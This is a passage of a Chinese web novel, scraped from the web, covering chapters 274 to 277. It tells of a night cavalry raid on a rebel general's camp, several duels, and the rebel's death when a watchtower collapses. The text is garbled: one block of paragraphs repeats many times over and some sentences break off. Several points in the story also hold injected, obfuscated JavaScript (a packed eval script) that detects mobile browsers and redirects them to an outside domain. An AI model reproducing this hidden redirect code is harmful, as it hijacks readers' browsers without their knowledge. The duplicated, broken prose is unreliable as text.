“嘿嘿嘿,大哥也有兴趣去玩玩?” “我啊?”林臻指了指自己,“我就算了吧,我又不会武功,去了反倒给你添麻烦。” 这倒不是林臻胆小怕死,而是真没有那个必要。 主帅就该在指挥的位置上,守城楼没毛病,但是亲自带兵去劫营那就有点扯淡了。 即便这次劫营再怎么成功,但只要林臻死了,对顾云松来讲都是一波大胜,而大乾这边就会士气低落,继而影响战斗力。 胖子倒也没真的想让他去冲锋,而是笑着解释道:“我的意思是说,既然你同意劫营,那我们就试试!而且我觉得顾二鳖肯定也猜不到我们敢劫营,说不定会收获出其不意的效果!” “有道理,你亲自去点兵,未时出城劫营!不过你记住,若情况不妙当立刻撤退,不能恋战,大乾现在不能没有你。” “啊?我这么重要吗?” 一句话说的胖子都有些自我怀疑了。 林臻重重点头:“没错,你非常重要!所以一定要活着回来。” “得嘞!大哥你放心,这个世界上能杀胖爷的人还没生出来呢!我这就去点兵!” 言罢胖子匆匆走下城楼,林臻则是继续站在城楼上向顾云松的军营远眺。 他不了解对方的战力,所以眼下急需一场劫营来试试水。 就算不能杀掉顾云松,也要打击下对方的士气,不能让他们肆无忌惮地攻城。 胖子在猎熊营、龙骧营里各点了一千精兵,又让五百神机营弩手配合进攻,安排好一切后立刻命令煮饭备酒。 将士们是去冲锋打仗的,饿着肚子可不行,酒更是临行前不可或许的东西。 军营内,两千五百人站成十列,林臻骑马而来,看了看天色,觉得时间差不多了。 在顾云松不会料到自己劫营的前提下,他们肯定会为明天的进攻做准备,所以此刻应该睡得正香。 林臻翻身下马,来到校场的高台之上,接过卫兵递上来的酒,高高举过头顶,大喊道。 “将士们!顾云松背叛朝廷,大举兵戈,现已兵临城下,且众我寡。然兵法有云‘陷之死地而后生,置之亡地而后存’。今吾等已无退路,唯有奋勇向前。敌军欺物年幼,必以为我等不知兵法,有轻敌之心。待其出击,吾与汝等共生死,愿诸君奋勇杀敌,建不世之功!” “杀! ” “杀!” “杀!” 两千五百精兵立刻发出震天吼声,随即与林臻一同干掉杯中酒。 这时,胖子把狠狠把酒盏摔在地上,跳到高台上同样大喊道:“将士们!他骂了隔壁的顾云松不是人!趁王爷出征,偷袭京城!正值家国危难之际,我们不上,难道还要牺牲我们亲人,牺牲我们的父老乡亲吗?” “不能!” “不能!” “不能!” “好!现在听我的命令,上马!” 两千五百精兵立刻翻身上马,胖子也从高台直接蹦下去,正好骑在马背上。 林臻看的真切,那马匹明显四肢一软! 胖子喊道:“随我出发!杀他们个片甲不留!” “冲啊!!!” 言罢胖子拎着长刀率先冲向北城门。 他们需要从北门绕到顾云松军营的中间地带,穿插进去,然后掉头再往西,一路杀回来。 林臻已经嘱咐过胖子,这次劫营不需要杀多少人,更不需要斩将,只需要带着军队从他们军营杀一圈即可,如果情况允许,那就再放一把火。 来个火烧连营! 目送最后一名骑兵离开,林臻走下高台再次骑在马上,飞奔回城楼。 转眼间,胖子已经带领骑兵来到顾云松军营侧面。 黑幽幽的军营只有零星的火把,巡逻的卫兵躲在阴暗处偷偷睡觉。 他们长途急行军,此刻正是人困马乏,正是劫营的大好时机。 “将士们!来啊,随胖爷杀他们个片甲不留!!呔!!”胖子满脸兴奋之色,一骑当先,挥舞手中长刀,瞬间将拒马砍断! 砰—— 一声巨响传来,胖子犹如无人之境,冲进军营,两千五百精骑紧跟其后。 军营里的人吓坏了,当即惊醒,正准备出门看看发生了什么事情,就见一柄比脑袋大了不知道多少倍的长刀落了下来。 噗—— 胖子一刀将他砍死,随即动作不减继续冲锋!直奔中军大帐。 他身后所有骑兵更是红着眼睛,奔向不同的方向,几乎是见人就砍,逢人便杀。 跟在最后面的神机营士兵气得哇哇大叫,他们不想当收尸队,但是却根本看不到人,手中的弩箭失去了作用,只能时不时拿瞭望塔上的士兵撒气。 另一边,顾云松睡得正香,突然惊起,厉声喝问道:“发生什么事情!?” “大人!敌军来劫营了!” “什么?劫营?来了多少人?” “不知道,少说也得有三千人!” “废物!才三千人慌什么?立刻命令朱世坤将口子堵住,不得放跑一个!” “是!” 言罢顾云松披上衣服,走到帐外。 却见远处火光一片,杀喊声不绝于耳,整个军营都乱套了。 他狠狠地一跺脚:“林臻这个竖子!我不杀你,你居然敢来劫我的营,今晚,我必定要让你们付出代价!” 他对自己的部队有充足的信心,但是却根本不了解三大营的战斗力。 这就是不是一支普通的军队,而是有着专业技能的特种兵,他们来劫营,效果肯定不会和普通军队一样。 胖子哈哈大笑着一路狂飙,无人能挡,边杀人边放火,闹得敌军苦不堪言。 他身后几名副将都是紧紧跟随,为他扫除一切障碍。 “胖爷,不能再往前去了!” “是啊胖爷,世子说过要从西边冲回去,我们现在是在往东面跑!” 胖子头也不回地喊道:“少废话,打到哪算哪,你们赶紧把火油都扔出去,继续烧!” “是!” “贼将休走!五原朱世坤在此!” 胖子侧头一看,就见一个身材魁梧的大汉正策马而来,满脸挑衅。 “什么?劫营?来了多少人?” “不知道,少说也得有三千人!” “废物!才三千人慌什么?立刻命令朱世坤将口子堵住,不得放跑一个!” “是!” 言罢顾云松披上衣服,走到帐外。 却见远处火光一片,杀喊声不绝于耳,整个军营都乱套了。 他狠狠地一跺脚:“林臻这个竖子!我不杀你,你居然敢来劫我的营,今晚,我必定要让你们付出代价!” 他对自己的部队有充足的信心,但是却根本不了解三大营的战斗力。 这就是不是一支普通的军队,而是有着专业技能的特种兵,他们来劫营,效果肯定不会和普通军队一样。 胖子哈哈大笑着一路狂飙,无人能挡,边杀人边放火,闹得敌军苦不堪言。 他身后几名副将都是紧紧跟随,为他扫除一切障碍。 “胖爷,不能再往前去了!” “是啊胖爷,世子说过要从西边冲回去,我们现在是在往东面跑!” 胖子头也不回地喊道:“少废话,打到哪算哪,你们赶紧把火油都扔出去,继续烧!” “是!” “贼将休走!五原朱世坤在此!” 胖子侧头一看,就见一个身材魁梧的大汉正策马而来,满脸挑衅。 “什么?劫营?来了多少人?” “不知道,少说也得有三千人!” “废物!才三千人慌什么?立刻命令朱世坤将口子堵住,不得放跑一个!” “是!” 言罢顾云松披上衣服,走到帐外。 却见远处火光一片,杀喊声不绝于耳,整个军营都乱套了。 他狠狠地一跺脚:“林臻这个竖子!我不杀你,你居然敢来劫我的营,今晚,我必定要让你们付出代价!” 他对自己的部队有充足的信心,但是却根本不了解三大营的战斗力。 这就是不是一支普通的军队,而是有着专业技能的特种兵,他们来劫营,效果肯定不会和普通军队一样。 胖子哈哈大笑着一路狂飙,无人能挡,边杀人边放火,闹得敌军苦不堪言。 他身后几名副将都是紧紧跟随,为他扫除一切障碍。 “胖爷,不能再往前去了!” “是啊胖爷,世子说过要从西边冲回去,我们现在是在往东面跑!” 胖子头也不回地喊道:“少废话,打到哪算哪,你们赶紧把火油都扔出去,继续烧!” “是!” “贼将休走!五原朱世坤在此!” 胖子侧头一看,就见一个身材魁梧的大汉正策马而来,满脸挑衅。 “什么?劫营?来了多少人?” “不知道,少说也得有三千人!” “废物!才三千人慌什么?立刻命令朱世坤将口子堵住,不得放跑一个!” “是!” 言罢顾云松披上衣服,走到帐外。 却见远处火光一片,杀喊声不绝于耳,整个军营都乱套了。 他狠狠地一跺脚:“林臻这个竖子!我不杀你,你居然敢来劫我的营,今晚,我必定要让你们付出代价!” 他对自己的部队有充足的信心,但 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他狠狠地一跺脚:“林臻这个竖子!我不杀你,你居然敢来劫我的营,今晚,我必定要让你们付出代价!” 他对自己的部队有充足的信心,但是却根本不了解三大营的战斗力。 这就是不是一支普通的军队,而是有着专业技能的特种兵,他们来劫营,效果肯定不会和普通军队一样。 胖子哈哈大笑着一路狂飙,无人能挡,边杀人边放火,闹得敌军苦不堪言。 他身后几名副将都是紧紧跟随,为他扫除一切障碍。 “胖爷,不能再往前去了!” “是啊胖爷,世子说过要从西边冲回去,我们现在是在往东面跑!” 胖子头也不回地喊道:“少废话,打到哪算哪,你们赶紧把火油都扔出去,继续烧!” “是!” “贼将休走!五原朱世坤在此!” 胖子侧头一看,就见一个身材魁梧的大汉正策马而来,满脸挑衅。 “什么?劫营?来了多少人?” “不知道,少说也得有三千人!” “废物!才三千人慌什么?立刻命令朱世坤将口子堵住,不得放跑一个!” “是!” 言罢顾云松披上衣服,走到帐外。 却见远处火光一片,杀喊声不绝于耳,整个军营都乱套了。 他狠狠地一跺脚:“林臻这个竖子!我不杀你,你居然敢来劫我的营,今晚,我必定要让你们付出代价!” 他对自己的部队有充足的信心,但是却根本不了解三大营的战斗力。 这就是不是一支普通的军队,而是有着专业技能的特种兵,他们来劫营,效果肯定不会和普通军队一样。 胖子哈哈大笑着一路狂飙,无人能挡,边杀人边放火,闹得敌军苦不堪言。 他身后几名副将都是紧紧跟随,为他扫除一切障碍。 “胖爷,不能再往前去了!” “是啊胖爷,世子说过要从西边冲回去,我们现在是在往东面跑!” 胖子头也不回地喊道:“少废话,打到哪算哪,你们赶紧把火油都扔出去,继续烧!” “是!” “贼将休走!五原朱世坤在此!” 胖子侧头一看,就见一个身材魁梧的大汉正策马而来,满脸挑衅。 “什么?劫营?来了多少人?” “不知道,少说也得有三千人!” “废物!才三千人慌什么?立刻命令朱世坤将口子堵住,不得放跑一个!” “是!” 言罢顾云松披上衣服,走到帐外。 却见远处火光一片,杀喊声不绝于耳,整个军营都乱套了。 他狠狠地一跺脚:“林臻这个竖子!我不杀你,你居然敢来劫我的营,今晚,我必定要让你们付出代价!” 他对自己的部队有充足的信心,但是却根本不了解三大营的战斗力。 这就是不是一支普通的军队,而是有着专业技能的特种兵,他们来劫营,效果肯定不会和普通军队一样。 胖子哈哈大笑着一路狂飙,无人能挡,边杀人边放火,闹得敌军苦不堪言。 他身后几名副将都是紧紧跟随,为他扫除一切障碍。 “胖爷,不能再往前去了!” “是啊胖爷,世子说过要从西边冲回去,我们现在是在往东面跑!” 胖子头也不回地喊道:“少废话,打到哪算哪,你们赶紧把火油都扔出去,继续烧!” “是!” “贼将休走!五原朱世坤在此!” 胖子侧头一看,就见一个身材魁梧的大汉正策马而来,满脸挑衅。 第274章 还有这操作? 胖子甩头唾骂:“哪来的肥猪?不想死就别挡道! “大胆狂徒!老子非把你脑袋拧下来,看枪!言罢朱世坤策马而来。 胖子心里着急。 他本意是想冲到中军大帐里直接干掉顾云松这个逆贼,一战定胜负,没成想却被这只猪给拦下,当即勃然大怒。 手中两米二六的长刀猛然甩了出去,直奔朱世坤的天灵盖。 后者丝毫不慌,举起长枪一挡! 叮—— 巨大的力量让前冲的朱世坤当即停住,连战马都差点被这一刀掀翻,虎口更是隐隐传来阵痛。 他咬牙骂道:“好你个臭胖子,还真有把子力气! 胖子却不想与他多纠缠。 单手拎起长刀指着朱世坤脑门:“逆贼!若不想死就别拦着你胖爷! “胖爷?你是王胖子? 胖子略带几分得意。 看吧?连山沟沟里的肥猪都听说过胖爷的名号! 我王胖子就是这么威名远播! “呵,既然听说过你胖爷的大名,就别白白送死!为了顾二鳖那逆贼不值得! “就算听过又如何?皇帝昏聩,宠信小人,这样的朝廷就该推翻他!看枪! 朱世坤振振有词,满面怒火地狂奔而来。 胖子自然不惧,挥刀便砍。 这次朱世坤学聪明了,面对胖子惊天动地的一刀他决定不再硬接,而是能躲就躲。 只见他突然趴在马背上,刀刃顺着他的头盔掠过,手中长枪看准时机直接刺了出去。 胖子脸色不变,丢出刀柄,正中枪尖。轻描淡写地化解危机,随即刀柄又被弹回来,胖子抓住再次抡圆了从上到下的劈砍! 如果砍中,朱世坤连人带马,都得死! 但朱世坤是在太行山道与土匪、山贼打过多年交道的,作战经验十分丰富,战马更是与他心有灵犀。 胯下用力夹住马腹,战马瞬间明白主人的意思,四蹄一软,躺了下去! 胖子顿时有些惊愕。 “卧槽?还有这操作? 骂完以后朱世坤立刻起身,再次长枪刺来,胖子匆忙抵挡,拧着眉头喝问道:“肥猪,你这是什么武功? “想学啊?我教你啊! “滚你妈的,看刀! 胖子见他一副不识抬举的样子,气得又是大骂,抡起长刀再次劈砍。 两人你来我往打了几个回合部分胜负,而此刻顾家的将士们早已经反应过 来,开始逐渐包围,跟着胖子来到此处的几名亲兵更是惨遭围剿,艰难应付。 “胖爷!弟兄们撑不住了! “往回走吧! 闻言胖子一刀将朱世坤震开,拨马就跑。 “死胖子,别跑! 其实胖子早就看出不对劲了,哪里还会和朱世坤纠缠,只是没能斩杀这个敌方大将让他很是不爽。 几匹马带着人在大营里狂奔,边杀人边放火,任何敢阻拦的士兵都会被胖子一刀砍成两段。 此时,站在城楼上的林臻也不禁为他们捏了把汗。 现在已经超出预定的突围时间了,胖子怎么还没杀出来? 该不会让人弄死了吧? 很快,距离城池最近的营门也燃起大火,阵阵杀喊声由远处传来,林臻站在城垛上,侯春抱着他的大腿。 “世子!您还是下来看吧!这太危险了! 林臻不听,只瞪着眼睛猛看。 却见营门口由无数士兵形成一个包围圈,将胖子他们死死围住,其中还有很多身材高大,武装到牙齿的银甲士兵,正手持盾牌逐步靠近。 那应该是北燕的重甲兵。 据林臻了解的知识,重甲兵是北燕精锐中的精锐,浑身重甲有一百五十多斤,脸上还有面具,普通的兵器根本没办法击破他们的防御。 坏了,胖子有危险! “肯定是胖子!战场抗命,等他回来,我非好好整整他不可! 林臻很生气。 眼下能用的武将不多,派胖子去劫营也是无奈中的无奈,所以临行前林臻才千叮咛万嘱咐,一定要按照计划来! 结果这胖子又不听号令,一意孤行,结果就是这两千五百人恐怕要跟着他一起完蛋了! 侯春也看出不对劲,大喊道:“世子,派骑兵出去救人吧! “世子!! 林臻还是没说话。 他想再给胖子一点时间,如果还能突出重围,林臻就只能冒着被破城的风险打开城门去救人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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伸头缩头都是一刀! “顾二鳖!你奶奶屁股不长毛的逆贼!胖爷一定会亲手砍下你的脑袋!” 叮叮叮—— 说话间胖子也在和朱世坤来回交手。 顾云松此刻心情极好。 自己还没出兵代表着敌方第一战斗力的王胖子就要被自己弄死这是绝对的大胜! 至于被他们突袭死的那点兵力算什么?烧几座营帐又算什么? 成大事者不拘小节! “小胖!看在你老爹的面子上 “去你奶奶个哨子的!看刀!!” 胖子怒了大刀抡起来死命砍向朱世坤。 朱世坤现在有些后悔。 以前都是听说王胖子如何如何现在见面交上手才知道这厮战斗力竟然这么强!打了十个几回合脸不红气不喘还隐隐有越战越兴奋的架势。 面对这惊天一刀他还是不敢硬接只能选择躲避。但胖子这次显然要置他于死地竟然从马上直接跳了起来即便朱世坤卧倒也没能躲过这一刀! “噗!!” 大刀落地连人带马直接被他砍成两段。 顾云松手下第一斩将朱世坤就此一命呜呼! 他惊得显得从瞭望塔上跳下来声嘶力竭地大喊:“世坤!!!” “哈哈哈哈!”王胖子仰天大笑“还以为有多大能耐不过一插标卖首的鼠辈尔!顾二鳖!” 他仰起头指着瞭望塔上的顾云松。 “你等着胖爷这就上去!!” “快拦住他!!放箭!!” 情况急转直下顾云松再也没有了刚才的神闲气定慌乱中命令士兵放箭。 咻咻咻—— 而此时胖子带领的两千五百骑兵已经不剩一千人就这样还个个带伤面对扑面而来的箭矢他们只能挥剑抵挡时不时便会有人倒下。 “铁头!” “狗蛋!!” 胖子流出两行血泪挥舞着大刀冲向重甲兵! “胖爷!!” “随胖爷冲啊!!” 任何箭矢都不能阻挡胖子的冲锋待他来到近前抡起长刀一刀将一名扛着盾牌的重甲兵劈成两半! 这一幕极大鼓舞了众人继续突围的信心。 然而现实却非常骨感虽然死了一名重甲兵却又有一名顶替上来还是扛着盾牌还是武装到牙齿。 刚才 是借力冲锋,连人带马上千斤的惯性,这才砍死一个。 现在又来,胖子只能站在原地抵挡箭矢,根本没有了继续劈砍的机会。 出不去了。 这是胖子最后的想法。 既然出不去了,那就再大闹一场吧! 我王胖子,死也要死的光荣! “将士们!听我号令,向着来时的方向,冲啊!!!” 言罢胖子拨转马头一头朝军营深处扎去。 仅剩的数百人也再次高举兵器,跟着他的步伐,重新杀入军营内部。 “他们这是要干什么!?” 顾云松看傻眼了。 因为考虑到他们会突围,所以他把所有兵力都布置在最外围,军营里面是薄弱点。 而他也万万没想到,胖子情急之下竟然选择了死战不退,反朝军营里面杀去! 这是要送死吗? 还是说你瞧不起我这几万大军? 场地收缩,弓箭手的作用大大减少,胖子的队伍得以片刻喘息,狂奔的途中不时收割着敌军的性命。 “兄弟们!伸头缩头都是一刀!跟这群狗日的反贼拼了!” “随我杀!!” 胖子一骑当先,见到火堆就砍,见到人就杀,任何敢冲上来的阻拦者都逃不过一刀。 身后的士兵大受震撼,也爆发出前所未有的激情,一时间顾家士兵被打得节节败退,慌忙逃窜。 一阵秋风吹过,火势瞬间蔓延开来,顾云松见胖子如入无人之境那般,气得哇哇大叫。 “啊!!废物!饭桶!给我把他们拦住!!” 这时,北燕将领霍天弘一身铠甲,威风凛凛地从瞭望塔下走过,头也不回地喊道:“顾兄,好好看看我们燕人是如何打仗的!” “铁甲军,随我杀!!” “杀!!!” 北燕人的战斗力十分凶悍,远远不是顾云松的部队能够比拟的,随着霍天弘一声令下,上千骑兵开始冲锋。 远在前方的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965267|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胖子回头看了看。 “奶奶的,在我们大乾国土上被燕人追着砍!真是岂有此理!” “胖爷,要不我们回头和他们拼了!” “拼个屁,他们都是重甲兵,拼不过的!现在所有人听我命令,不要回头,一直往前冲!” 胖子当机立断,决定从最西边冲出军营,这就相当于他们要把整个军营杀个对穿! 如此夸张的计策也只有他这种猪脑子才能想出来。 但往往就是这猪脑 子,才能想出对方想不到的计策! 至少顾云松就想不出来,一开始他见胖子掉头奔军营里面冲,还以为他会从进来的地方再冲出去,甚至他已经派兵去严防死守了,但是谁能想到,胖子压根就没去! 远远追在后面的霍天弘以及上前重甲骑兵也懵了,因为他刚刚已经看到胖子的队伍掠过了进来的营门。 这他妈是要去哪啊? 胖子在前方哈哈大笑:“哈哈哈哈,顾二鳖肯定猜不到我们的计划!兄弟们!继续冲锋,只要冲出西边的营门就是胜利!” “杀!!” 渐渐地,胖子的身影已经看不到了。 而救援的骑兵已经冲出城门直奔对方大营。 这个死胖子,你这是要去哪啊? 该不会是想把对方军营杀个对穿吧? 这也太夸张了。 眼见顾云松开始收缩兵力,林臻愈发急躁起来,一方面是担心胖子安危,另一方面是担心顾云松转头来攻城。 王胖子啊王胖子,你可真不让人省心。 “世子!!” 一声瓮声瓮气的吼声从身后传来,林臻回眸看去,就见一身披甲挂胄的魁梧大汉走来。 那人铠甲上刻着一只狰狞的虎头,不是王铁男又是何人? “王”林臻想喊王叔,但想想这里是战场,不合适,于是改口道:“王将军。” “情况如何?” “胖子带兵去夜袭,但情况并不好,我怀疑是胖子善作主张,延误了突围的时机,导致被包围。” “哼!他顾云松敢围我的儿子,找死!来人,立刻组织兵马,随我去劫营!” 第276章 略略略~不还不还就不还~ 啊? 林臻张大了嘴。 这王铁男为救儿子疯了吧?对方可是有近十万人! 凭他那五千骑兵就敢硬冲? 不行不行,绝对不行。 不是心疼王铁男的命,而是那五千儿郎不能跟着他去送死啊! “王将军!万万不可,我已经派骑兵去救了,如果您再把所有兵马都压上去,万一打不过怎么办?” 王铁男闻言,满脸不屑之色,嘴裂得跟八万似的,单手捋着长髯霸气无双的说道。 “哼!当年老夫随王爷征战,五百人就敢冲击北燕六千重骑,斩首北燕第一大将拓跋各袅。今五千虎狼之师,装备精良,有何惧哉!” 跋个鸟? 好名字,但林臻还是不同意他现在出击。 这五千骑兵是代县最后的机动部队,也可以说是整个防御战的最后底牌,如果全搭里面,后果不堪设想! 说白了还是怪胖子一意孤行,否则现在绝不会这么被动。 “将军,我虽然年纪小,但也是陛下钦点的前线总指挥,更是三大营主帅,我不同意你这么做!” “你!” 林臻搬出皇帝来施压,让准备强行救援的王铁男哑口无言。 他可以不听任何人的话,但必须听王爷的,这不仅仅因为王爷是他干爹,更是他的伯乐,是顶头上司。 而王爷又听皇帝的。 所以尊重皇帝就等于尊重林震仙。 况且林臻的表情绝不像是开玩笑,王铁男毫不怀疑,如果自己一意孤行,就算王爷回来也不会放过他。 王铁男心急如焚,望眼欲穿的看了看顾家军营,愤恨地吼道。 “那你说怎么办!你总不能让老夫的儿子去送死吧?他好歹也是你兄弟!” “胖子是我兄弟没错,我自然也会想办法去救他!我已经派仅剩的骑兵去策应他突围了,是生是死全凭天意,但您手下这五千骑兵说什么也不能动!这是护卫京城的最后机动力量,一旦失去,我们将彻底陷入被动!一旦京城有失,死的就不光是你儿子了!” 王铁男是有战场经验的,更是名副其实的大将军,知道林臻说的话句句在理。 可是老王家三代单传,到胖子这也是独苗一根,他如何舍得把他的命交给老天爷呢? 最后他叹了口气,语气软了一些:“好,听你的,五千骑兵不动,但老夫自己去救总可以吧?” “你自己怎么救啊?” “这你别管,老夫只带十名亲卫去救,救 出来不邀功,救不出来也不找你的麻烦!哼!”说完王铁男转身要走,林臻却再次大喊。 “站住!” 王铁男转过身,瞪着猩红的眼睛威胁道:“林臻!老夫给你面子,叫你一声世子。你若再敢阻拦,休怪老夫翻脸!” “.”林臻咬牙,沉默不语。 如果王铁男和王胖子一同战死,听起来很英烈,但对大乾的损失是难以估计的。 罢了,谁让自己现在人微言轻,说话震不住老将呢,就当给个台阶下吧。 赌一把。 赌赢了一战定胜负;赌输了继续守城! “再带二千人去吧,但是不管成功与否,你们都要在破晓前回来,这是军令!” 王铁男难得露出一丝笑容,双手抱拳,满脸感激。 “末将遵命!”言罢飞奔下楼。 林臻微微叹了口气,转身望向地方军营,心事重重。 本来情况就不好,现在王铁男又掺和进来,更是不容乐观。 但愿他能一鼓作气把顾家军的士气彻底打消,否则自己将损失惨重。 “唉。” 侯春在他身后说道:“世子,敌军可是有十万人啊!这能行吗?” “敌军不是十万人,是十万零两个啊” “零两个??” 侯春哪里懂这个梗,木讷地看着林臻背影,不再说话。 另一边,胖子带领部队策马狂奔,已然从最东面即将杀到最西边。 顾云松的命令传达得还没有他跑得快的,而北燕的重甲骑兵又根本追不上,一时间顾家以及北燕士兵都没办法起到有效阻击,眼睁睁看着胖子在前冲锋,杀自己人如土鸡瓦狗。 “啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971310|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !!王胖子!!是条汉子你就站住与我决斗!!” 胖子好像听到了什么,回头看了看披着重甲的霍天弘,问道:“喂,那逼样的喊什么呢?” “胖爷,他说你有种就停下来跟他决斗!” “傻逼,都这节骨眼了,谁TM跟他决斗啊?弟兄们!冲出去就是胜利,随我冲啊!!” “杀!!” 仅剩的几百人还在冲锋,很快便来到最西边的大营门口。 这里还没有建造完毕,只有少数几个营帐,还有很多堆放在一起的粮草。 胖子看到粮草就像看到美人似的,眼睛直泛绿光,冲锋的过程中弯下腰捡起火把,一下扔了出去。 轰—— 干草加上粮草,被火星一碰,瞬间燃起冲天大火。 而顾云松为数不多的粮草,彻底化为焦土! 霍天弘见自己吃饭的家伙被焚烧,气得哇哇大叫:“死胖子,你TM还我粮草!!” 这句话胖子听见了,回头咧开腮帮子猖狂大笑。 “略略略!不还不还就不还!哈哈哈哈!” “我操***” 霍天弘什么时候受过这样的气!? 今天就算是追到天涯海角,也得把这个死胖子剁成肉泥! “全体都有,卸甲!追上这个死胖子,赏金千两!!” “喝!!” 重赏之下必有勇夫,上千重骑兵立刻解开自己的重甲,乘骑速度立刻加快,转眼就追着胖子冲出营门! “废物!饭桶!”顾云松已经从瞭望塔上下来,看着胖子冲出营门自己却无能为力的时候跳着脚大喊,“要你们这群废物有何用!?十万人拦不住三千骑兵!” “大人!大人!外面又有骑兵来了!?” “什么!?林臻那厮竟然还有骑兵?”顾云松瞪着眼睛有些难以置信。 按理说京中的力量都应该被林震仙调走了才对啊!剩下的二卫林臻根本没有调动的权限。 难道说. 顾云松当即想到什么,惊恐地喊道:“快背我上瞭望塔!!” “是!!” 第277章 造反未捷身先死 一名士兵把顾云松背起来,急忙朝瞭望塔跑去。 与此同时,王铁男的队伍也已经达到顾家军营的东面。 他看着一片混乱,杀喊声震天的军营,突然有种莫名的兴奋。 好久没有亲自上战场了,他奶奶的。 “哈哈哈哈,像这种货色也敢对我大乾用兵,简直是找死!!来啊,将士们,随我冲锋!!” “杀!!!” 一声令下,两千骑兵爆发出激昂的吼声,悍不畏死地朝营门冲去。 而之前围剿胖子的重甲兵只有少数还在,剩下的全都上马去追胖子了。面对这波进攻他们根本没办法阻挡,只能眼睁睁看着王铁男那流星锤飞砸过来! 砰—— “哇呀!!” “哈哈哈哈!” 前排三名重甲兵直接被砸死,王铁男狂笑着冲刺而来,弯腰将流星锤捡起,冲进军营! 身后两千骑兵见老大如此勇猛,也紧跟其后,手中大刀长钺不断收割着顾家士兵的性命。 顾云松在卫兵的伺候地下好不容易登上瞭望塔,就看到刚刚这一幕。 “什么?是王铁男!?” 王铁男的威名只要是大乾人就没有不知道的,顾云松更是对他闻风丧胆,他几乎是难以置信的大喊道:“一群废物!!快去拦住他们啊!!” 王铁男杀了几个人还觉得不过瘾,正愁一腔怒火没地方撒呢,看见顾云松站在高高的瞭望塔上叫,气得一个流星锤就扔了出去。 “我他妈让你叫!” 巨大的锤子带着无可匹敌的威力,直接将瞭望塔的木头支柱砸断。 砰—— 嘎吱吱—— “快保护大人!!” 顾云松只觉脚下一颤,随即身体就开始倾倒! 再看,原来是瞭望塔正在倾塌! “啊啊啊!!” 砰—— 瞭望塔狠狠摔在地上,碎成几段,掀起一大股火焰与烟尘。 烟雾之中,王铁男的脸赫然显现。 他冲出烟雾,宛若军神,带着部下继续冲锋,过程中还不忘回头哈哈大笑:“哈哈哈哈,敢动我的儿子,这就是下场!” “驾!!” 轰隆隆—— 马蹄声炸营而过,顾家士兵没有了指挥的人,都不敢再上前阻拦,能躲多远躲多远。 只有少数士兵担心顾云松的安危,跑过去,把木头、碎石等东西从顾云松的身上挪开,却见这厮已经有出气没进气,奄 奄一息了。 “大人!!” “噗”顾云松喷出一口血沫子。 原来,摔倒下来的木头变成了锋利的刺,扎入了他的肺部。 他的双腿尽断,一直手臂也被砸折,在没有医疗条件的战场上,是必死无疑的。 “咳咳.我.我是天命”顾云松瞪着眼睛望向天边已经逐渐升起的太阳,气绝身亡。 可谓:造反未捷身先死。 身边护卫大惊。 “死了.顾大人死了!!” “我们怎么办啊!?” “投降吧!!” “投个屁,我们要为大人报仇!!” “报个屁啊,主帅都死了,我们再去攻城不也是送死吗?” “就是啊,我本来就不想跟着他当反贼!” “动摇军心者杀无赦!” “我他妈先杀了你!” 顾家士兵一时间陷入混乱,说投降的有,说死战不退的也有,结果双方意见不合便打了起来。 而这一切,林臻、胖子,王铁男等人却浑然不知。 尤其是胖子,他跑出军营之后一路狂奔,径直来到一条小河边。 “吁!!”胖子勒住马缰,翻身下马,趴在河边像老母猪似的撅起大屁股喝水。 这时,一个长得和土拨鼠似的机灵鬼说道:“胖爷,那厮把重甲脱了!我们要不要反围剿?” “操!”胖子洗了洗脸上的血水,猩红的眼睛望向霍天弘,“没有重甲老子还怕你?列阵迎敌!” “是!” 胖子重新上马,用脚蹬一敲马腹,单骑上前。 其余人等张弓搭箭,形成半圆的包围圈。 霍天弘带着骑兵追来,又渴又累,但还不忘狰狞地笑道:“死胖子,跑啊!你怎么不跑了?” “胖爷想跑就跑,不想跑就不跑,你管得着吗?” “哼,伶牙俐齿,等老子把你的牙一颗一颗敲下来,看你还怎么说话!” “胖爷可以不说话,用牙床子夹住你奶奶的扎头。” 霍天弘:? 嘶.这听着不像好话啊。 他不由自主地再次问道:“我奶奶的什么?” “哈哈哈哈哈。” 胖子和所有骑兵哄堂大笑,尤其是胖子,笑得眼泪都快出来了。 “哈哈哈哈哈,用我大哥的话说,你这问题问得就充分暴露了你不学无术的思想品质!小贼,看刀!!” 胖子大喝一声,猛然冲了过来,同 时身后所有骑兵也一起冲刺!! 不,不能说一起,仅剩的几十个神机营将士纷纷拿出弩箭硬弓,连瞄都不瞄,抬手就射! 咻咻咻—— 霍天弘的骑兵还没反应过来,就看到无数箭矢朝自己射来,猝不及防之下被成片射倒。 “王胖子!!你忒的阴损!!” 胖子不与他废话,冲到近前,一刀砍向他的天灵盖。 霍天弘不愧是北燕名将,横起长刀奋力抵挡。 叮—— 火花四溅,两人被震开。 胖子惊讶道:“好小子,有两下子,再来!” “来就来!怕你不成!?”霍天弘同样不惧,两人在场中你来我往,刀光剑影,打得不亦乐乎。 